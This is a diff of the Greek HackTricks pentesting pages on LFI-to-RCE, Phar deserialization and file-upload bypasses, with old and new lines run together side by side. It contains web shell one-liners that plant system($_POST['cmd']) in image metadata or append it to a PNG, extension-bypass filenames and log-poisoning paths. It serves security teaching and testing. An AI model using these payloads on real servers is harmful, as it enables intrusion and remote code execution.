**Συναρτήσεις που μπορεί να είναι ευάλωτες**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (μόνο για ανάγνωση με αυτό)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` **Συναρτήσεις που μπορεί να είναι ευάλωτες**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (μόνο για ανάγνωση με αυτό)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Για τις τεχνικές λεπτομέρειες, ελέγξτε το αναφερόμενο άρθρο! Για τις τεχνικές λεπτομέρειες ελέγξτε το αναφερόμενο άρθρο!
## LFI2RCE ## LFI2RCE
@ -429,10 +433,10 @@ assert("strpos('$file', '..') === false") or die("");
> [!WARNING] > [!WARNING]
> Σημειώστε ότι **αν χρησιμοποιήσετε διπλά εισαγωγικά** για το shell αντί για **απλά εισαγωγικά**, τα διπλά εισαγωγικά θα τροποποιηθούν για τη συμβολοσειρά "_**quote;**_", **η PHP θα ρίξει ένα σφάλμα** εκεί και **τίποτα άλλο δεν θα εκτελεστεί**. > Σημειώστε ότι **αν χρησιμοποιήσετε διπλά εισαγωγικά** για το shell αντί για **απλά εισαγωγικά**, τα διπλά εισαγωγικά θα τροποποιηθούν για τη συμβολοσειρά "_**quote;**_", **η PHP θα ρίξει ένα σφάλμα** εκεί και **τίποτα άλλο δεν θα εκτελεστεί**.
> >
> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά την payload** ή η PHP θα έχει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία. > Επίσης, βεβαιωθείτε ότι **γράφετε σωστά το payload** ή η PHP θα σφάλει κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.
Αυτό θα μπορούσε επίσης να γίνει σε άλλα αρχεία καταγραφής αλλά **προσοχή,** ο κώδικας μέσα στα αρχεία καταγραφής θα μπορούσε να είναι URL encoded και αυτό θα μπορούσε να καταστρέψει το Shell. Η κεφαλίδα **authorisation "basic"** περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell θα μπορούσε να εισαχθεί μέσα σε αυτή την κεφαλίδα.\ Αυτό θα μπορούσε επίσης να γίνει σε άλλες καταγραφές αλλά **προσοχή,** ο κώδικας μέσα στις καταγραφές θα μπορούσε να είναι URL κωδικοποιημένος και αυτό θα μπορούσε να καταστρέψει το Shell. Η κεφαλίδα **authorisation "basic"** περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στις καταγραφές. Το PHPShell θα μπορούσε να εισαχθεί μέσα σε αυτή την κεφαλίδα.\
Άλλες πιθανές διαδρομές αρχείων καταγραφής: Άλλες πιθανές διαδρομές καταγραφής:
```python ```python
/var/log/apache2/access.log /var/log/apache2/access.log
/var/log/apache/access.log /var/log/apache/access.log
@ -468,7 +472,7 @@ User-Agent: <?=phpinfo(); ?>
``` ```
http://example.com/index.php?page=path/to/uploaded/file.png http://example.com/index.php?page=path/to/uploaded/file.png
``` ```
Για να διατηρηθεί το αρχείο αναγνώσιμο, είναι καλύτερο να εισάγετε στα μεταδεδομένα των εικόνων/doc/pdf Για να διατηρηθεί το αρχείο αναγνώσιμο, είναι καλύτερο να γίνει έγχυση στα μεταδεδομένα των εικόνων/doc/pdf
### Μέσω ανέβασμα αρχείου Zip ### Μέσω ανέβασμα αρχείου Zip
@ -578,7 +582,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
lfi2rce-via-phpinfo.md lfi2rce-via-phpinfo.md
{{#endref}} {{#endref}}
### Μέσω compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Disclosure Διαδρομής ### Μέσω compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Αν βρείτε μια **Local File Inclusion** και μπορείτε να **εξάγετε τη διαδρομή** του προσωρινού αρχείου ΑΛΛΑ ο **διακομιστής** **ελέγχει** αν το **αρχείο που θα συμπεριληφθεί έχει PHP marks**, μπορείτε να προσπαθήσετε να **παρακάμψετε αυτόν τον έλεγχο** με αυτή τη **Race Condition**: Αν βρείτε μια **Local File Inclusion** και μπορείτε να **εξάγετε τη διαδρομή** του προσωρινού αρχείου ΑΛΛΑ ο **διακομιστής** **ελέγχει** αν το **αρχείο που θα συμπεριληφθεί έχει PHP marks**, μπορείτε να προσπαθήσετε να **παρακάμψετε αυτόν τον έλεγχο** με αυτή τη **Race Condition**:
@ -588,7 +592,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Μέσω αιώνιας αναμονής + bruteforce ### Μέσω αιώνιας αναμονής + bruteforce
Αν μπορείτε να εκμεταλλευτείτε το LFI για να **ανεβάσετε προσωρινά αρχεία** και να κάνετε τον διακομιστή να **κολλήσει** την εκτέλεση PHP, τότε θα μπορούσατε να **brute force ονόματα αρχείων για ώρες** για να βρείτε το προσωρινό αρχείο: Αν μπορείτε να εκμεταλλευτείτε το LFI για να **ανεβάσετε προσωρινά αρχεία** και να κάνετε τον διακομιστή να **κολλήσει** την εκτέλεση PHP, τότε θα μπορούσατε να **δοκιμάσετε να βρείτε ονόματα αρχείων για ώρες** για να βρείτε το προσωρινό αρχείο:
{{#ref}} {{#ref}}
lfi2rce-via-eternal-waiting.md lfi2rce-via-eternal-waiting.md

View File

@ -2,13 +2,11 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
**Phar** αρχεία (PHP Archive) **περιέχουν μεταδεδομένα σε σειριοποιημένη μορφή**, έτσι, όταν αναλυθούν, αυτά τα **μεταδεδομένα** **αποσειριοποιούνται** και μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια ευπάθεια **αποσειριοποίησης** μέσα στον **PHP** κώδικα.
Το καλύτερο πράγμα σχετικά με αυτή τη χαρακτηριστική είναι ότι αυτή η αποσειριοποίηση θα συμβεί ακόμη και χρησιμοποιώντας συναρτήσεις PHP που δεν εκτελούν κώδικα PHP όπως **file_get_contents(), fopen(), file() ή file_exists(), md5_file(), filemtime() ή filesize()**.
**Phar** αρχεία (PHP Archive) **περιέχουν μεταδεδομένα σε σειριοποιημένη μορφή**, έτσι, όταν αναλυθούν, αυτά τα **μεταδεδομένα** **αποσειριοποιούνται** και μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια **ευπάθεια αποσειριοποίησης** μέσα στον **PHP** κώδικα. Έτσι, φανταστείτε μια κατάσταση όπου μπορείτε να κάνετε έναν PHP ιστό να πάρει το μέγεθος ενός αυθαίρετου αρχείου χρησιμοποιώντας το πρωτόκολλο **`phar://`**, και μέσα στον κώδικα βρίσκετε μια **κλάση** παρόμοια με την εξής:
Το καλύτερο σε αυτή τη χαρακτηριστική είναι ότι αυτή η αποσειριοποίηση θα συμβεί ακόμη και χρησιμοποιώντας PHP συναρτήσεις που δεν εκτελούν PHP κώδικα όπως **file_get_contents(), fopen(), file() ή file_exists(), md5_file(), filemtime() ή filesize()**.
Έτσι, φανταστείτε μια κατάσταση όπου μπορείτε να κάνετε έναν PHP ιστό να πάρει το μέγεθος ενός αυθαίρετου αρχείου χρησιμοποιώντας το **`phar://`** πρωτόκολλο, και μέσα στον κώδικα βρίσκετε μια **κλάση** παρόμοια με την εξής:
```php:vunl.php ```php:vunl.php
<?php <?php
class AnyClass { class AnyClass {
@ -61,8 +59,8 @@ php vuln.php
``` ```
### Αναφορές ### Αναφορές
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %} {{#ref}}
https://blog.ripstech.com/2018/new-php-exploitation-technique/
{{#endref}}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,14 +1,13 @@
# Ανεβάστε Αρχεία # File Upload
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## File Upload General Methodology
## Γενική Μεθοδολογία Ανεβάσματος Αρχείων
Άλλες χρήσιμες επεκτάσεις: Άλλες χρήσιμες επεκτάσεις:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Λειτουργία σε PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_ - **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -16,13 +15,13 @@
- **Perl**: _.pl, .cgi_ - **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_ - **Erlang Yaws Web Server**: _.yaws_
### Παράκαμψη ελέγχων επεκτάσεων αρχείων ### Bypass file extensions checks
1. Αν ισχύει, **ελέγξτε** τις **προηγούμενες επεκτάσεις.** Δοκιμάστε επίσης χρησιμοποιώντας μερικά **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._ 1. Αν ισχύουν, **έλεγξε** τις **προηγούμενες επεκτάσεις.** Δοκίμασέ τις χρησιμοποιώντας μερικά **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
2. _Ελέγξτε **προσθέτοντας μια έγκυρη επέκταση πριν** από την εκτελέσιμη επέκταση (χρησιμοποιήστε επίσης τις προηγούμενες επεκτάσεις):_ 2. _Έλεγξε **προσθέτοντας μια έγκυρη επέκταση πριν** από την εκτελέσιμη επέκταση (χρησιμοποίησε και τις προηγούμενες επεκτάσεις):_
- _file.png.php_ - _file.png.php_
- _file.png.Php5_ - _file.png.Php5_
3. Δοκιμάστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε το Burp για να **bruteforce** όλους τους **ascii** και **Unicode** χαρακτήρες. (_Σημειώστε ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγούμενες** αναφερόμενες **επικεφαλίδες**_) 3. Δοκίμασε να προσθέσεις **ειδικούς χαρακτήρες στο τέλος.** Μπορείς να χρησιμοποιήσεις το Burp για να **bruteforce** όλους τους **ascii** και **Unicode** χαρακτήρες. (_Σημείωσε ότι μπορείς επίσης να δοκιμάσεις να χρησιμοποιήσεις τις **προηγούμενες** αναφερόμενες **επεκτάσεις**_)
- _file.php%20_ - _file.php%20_
- _file.php%0a_ - _file.php%0a_
- _file.php%00_ - _file.php%00_
@ -32,7 +31,7 @@
- _file._ - _file._
- _file.php...._ - _file.php...._
- _file.pHp5...._ - _file.pHp5...._
4. Δοκιμάστε να παρακάμψετε τις προστασίες **ξεγελώντας τον αναλυτή επεκτάσεων** της πλευράς του διακομιστή με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη άχρηστων** δεδομένων (**null** bytes) μεταξύ των επεκτάσεων. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να προετοιμάσετε μια καλύτερη payload._ 4. Δοκίμασε να παρακάμψεις τις προστασίες **ξεγελώντας τον αναλυτή επεκτάσεων** της πλευράς του διακομιστή με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη άχρηστων** δεδομένων (**null** bytes) μεταξύ των επεκτάσεων. _Μπορείς επίσης να χρησιμοποιήσεις τις **προηγούμενες επεκτάσεις** για να προετοιμάσεις ένα καλύτερο payload._
- _file.png.php_ - _file.png.php_
- _file.png.pHp5_ - _file.png.pHp5_
- _file.php#.png_ - _file.php#.png_
@ -41,75 +40,75 @@
- _file.php%0a.png_ - _file.php%0a.png_
- _file.php%0d%0a.png_ - _file.php%0d%0a.png_
- _file.phpJunk123png_ - _file.phpJunk123png_
5. Προσθέστε **ένα άλλο επίπεδο επεκτάσεων** στον προηγούμενο έλεγχο: 5. Πρόσθεσε **άλλη μια στρώση επεκτάσεων** στον προηγούμενο έλεγχο:
- _file.png.jpg.php_ - _file.png.jpg.php_
- _file.php%00.png%00.jpg_ - _file.php%00.png%00.jpg_
6. Δοκιμάστε να βάλετε την **εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση** και προσευχηθείτε ώστε ο διακομιστής να είναι κακώς ρυθμισμένος. (χρήσιμο για την εκμετάλλευση κακώς ρυθμισμένων Apache όπου οτιδήποτε με επέκταση **_**.php**_**, αλλά** όχι απαραίτητα που να τελειώνει σε .php** θα εκτελεί κώδικα): 6. Δοκίμασε να βάλεις την **εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση** και προσευχήσου ώστε ο διακομιστής να είναι κακοδιαμορφωμένος. (χρήσιμο για να εκμεταλλευτείς κακοδιαμορφώσεις του Apache όπου οτιδήποτε με επέκταση **_**.php**_**, αλλά** όχι απαραίτητα που να τελειώνει σε .php** θα εκτελεί κώδικα):
- _ex: file.php.png_ - _ex: file.php.png_
7. Χρησιμοποιώντας **NTFS εναλλακτική ροή δεδομένων (ADS)** σε **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας άνω των δύο σημείων “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον διακομιστή (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματος του. Το μοτίβο “**::$data**” μπορεί επίσης να χρησιμοποιηθεί για τη δημιουργία μη κενών αρχείων. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για την παράκαμψη περαιτέρω περιορισμών (.π.χ. “file.asp::$data.”) 7. Χρησιμοποιώντας **NTFS alternate data stream (ADS)** σε **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας άνω των δύο “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, θα δημιουργηθεί ένα **κενό αρχείο με την απαγορευμένη επέκταση** στον διακομιστή (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματος του. Το μοτίβο “**::$data**” μπορεί επίσης να χρησιμοποιηθεί για να δημιουργήσει μη κενά αρχεία. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για να παρακάμψεις περαιτέρω περιορισμούς (.π.χ. “file.asp::$data.”)
8. Δοκιμάστε να σπάσετε τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php 8. Δοκίμασε να σπάσεις τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php
``` ```
# Linux μέγιστο 255 bytes # Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # μείον 4 εδώ και προσθήκη .png Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Ανεβάστε το αρχείο και ελέγξτε την απόκριση πόσους χαρακτήρες επιτρέπει. Ας πούμε 236 # Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232' python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Δημιουργήστε την payload # Make the payload
AAA<--SNIP 232 A-->AAA.php.png AAA<--SNIP 232 A-->AAA.php.png
``` ```
### Παράκαμψη Content-Type, Magic Number, Συμπίεση & Αλλαγή Μεγέθους ### Bypass Content-Type, Magic Number, Compression & Resizing
- Παράκαμψη **Content-Type** ελέγχων ορίζοντας την **τιμή** της **κεφαλίδας Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_ - Παρακάμψε τους ελέγχους **Content-Type** ρυθμίζοντας την **τιμή** της **κεφαλίδας Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_
1. Λίστα λέξεων Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Παράκαμψη **magic number** ελέγχου προσθέτοντας στην αρχή του αρχείου τα **bytes μιας πραγματικής εικόνας** (μπερδέψτε την εντολή _file_). Ή εισάγετε το shell μέσα στα **metadata**:\ - Παρακάμψε τον έλεγχο **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes μιας πραγματικής εικόνας** (μπέρδεψε την _file_ εντολή). Ή εισήγαγε το shell μέσα στα **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\ `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` ή μπορείτε επίσης να **εισάγετε την payload απευθείας** σε μια εικόνα:\ `\` ή μπορείς επίσης να **εισάγεις το payload απευθείας** σε μια εικόνα:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png` `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Αν **συμπίεση προστίθεται στην εικόνα σας**, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική PLTE chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**. - Αν **συμπίεση προστίθεται στην εικόνα σου**, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείς να χρησιμοποιήσεις την **PLTE chunk** [**τεχνική που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) - [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Η ιστοσελίδα μπορεί επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις λειτουργίες PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική IDAT chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**. - Η ιστοσελίδα μπορεί επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις συναρτήσεις PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείς να χρησιμοποιήσεις την **IDAT chunk** [**τεχνική που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) - [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Μια άλλη τεχνική για να δημιουργήσετε μια payload που **επιβιώνει σε αλλαγή μεγέθους εικόνας**, χρησιμοποιώντας τη λειτουργία PHP-GD `thumbnailImage`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική tEXt chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**. - Μια άλλη τεχνική για να δημιουργήσεις ένα payload που **επιβιώνει σε αλλαγές μεγέθους εικόνας**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Ωστόσο, μπορείς να χρησιμοποιήσεις την **tEXt chunk** [**τεχνική που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) - [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Άλλες Τεχνικές για Έλεγχο ### Other Tricks to check
- Βρείτε μια ευπάθεια για να **μετονομάσετε** το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση). - Βρες μια ευπάθεια για να **μετονομάσεις** το αρχείο που έχει ήδη ανέβει (για να αλλάξεις την επέκταση).
- Βρείτε μια ευπάθεια **Local File Inclusion** για να εκτελέσετε την backdoor. - Βρες μια ευπάθεια **Local File Inclusion** για να εκτελέσεις την backdoor.
- **Πιθανή αποκάλυψη πληροφοριών**: - **Πιθανή αποκάλυψη πληροφοριών**:
1. Ανεβάστε **πολλές φορές** (και ταυτόχρονα) το **ίδιο αρχείο** με το **ίδιο όνομα** 1. Ανέβασε **αρκετές φορές** (και ταυτόχρονα) το **ίδιο αρχείο** με το **ίδιο όνομα**
2. Ανεβάστε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη** 2. Ανέβασε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη**
3. Ανεβάζοντας ένα αρχείο με **“.”, “..”, ή “…” ως όνομα**. Για παράδειγμα, στο Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στον φάκελο “/www/uploads/”, το όνομα “.” θα δημιουργήσει ένα αρχείο με το όνομα “uploads” στον φάκελο “/www/”. 3. Ανέβασε ένα αρχείο με **“.”, “..”, ή “…” ως όνομα**. Για παράδειγμα, στο Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στον φάκελο “/www/uploads/”, το όνομα “.” θα δημιουργήσει ένα αρχείο με το όνομα “uploads” στον φάκελο “/www/”.
4. Ανεβάστε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **“…:.jpg”** σε **NTFS**. (Windows) 4. Ανέβασε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **“…:.jpg”** σε **NTFS**. (Windows)
5. Ανεβάστε ένα αρχείο σε **Windows** με **μη έγκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows) 5. Ανέβασε ένα αρχείο σε **Windows** με **μη έγκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows)
6. Ανεβάστε ένα αρχείο σε **Windows** χρησιμοποιώντας **καταχωρημένα** (**απαγορευμένα**) **ονόματα** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9. 6. Ανέβασε ένα αρχείο σε **Windows** χρησιμοποιώντας **καταχωρημένα** (**απαγορευμένα**) **ονόματα** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9.
- Δοκιμάστε επίσης να **ανεβάσετε ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελεί κώδικα** όταν ακούσια ανοιχτεί από το θύμα. - Δοκίμασε επίσης να **ανεβάσεις ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελεί κώδικα** όταν ακούσια ανοιχτεί από το θύμα.
### Ειδικές τεχνικές επεκτάσεων ### Special extension tricks
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **διακομιστή PHP**, [ρίξτε μια ματιά στην τεχνική **.htaccess** για να εκτελέσετε κώδικα](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\ Αν προσπαθείς να ανεβάσεις αρχεία σε έναν **PHP διακομιστή**, [ρίξε μια ματιά στο κόλπο **.htaccess** για να εκτελέσεις κώδικα](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **διακομιστή ASP**, [ρίξτε μια ματιά στην τεχνική **.config** για να εκτελέσετε κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). Αν προσπαθείς να ανεβάσεις αρχεία σε έναν **ASP διακομιστή**, [ρίξε μια ματιά στο κόλπο **.config** για να εκτελέσεις κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Τα αρχεία `.phar` είναι όπως τα `.jar` για java, αλλά για php, και μπορούν να **χρησιμοποιηθούν όπως ένα αρχείο php** (εκτελώντας το με php, ή συμπεριλαμβάνοντάς το μέσα σε ένα script...) Τα αρχεία `.phar` είναι όπως τα `.jar` για την java, αλλά για php, και μπορούν να **χρησιμοποιηθούν όπως ένα αρχείο php** (εκτελώντας το με php, ή συμπεριλαμβάνοντάς το μέσα σε ένα script...)
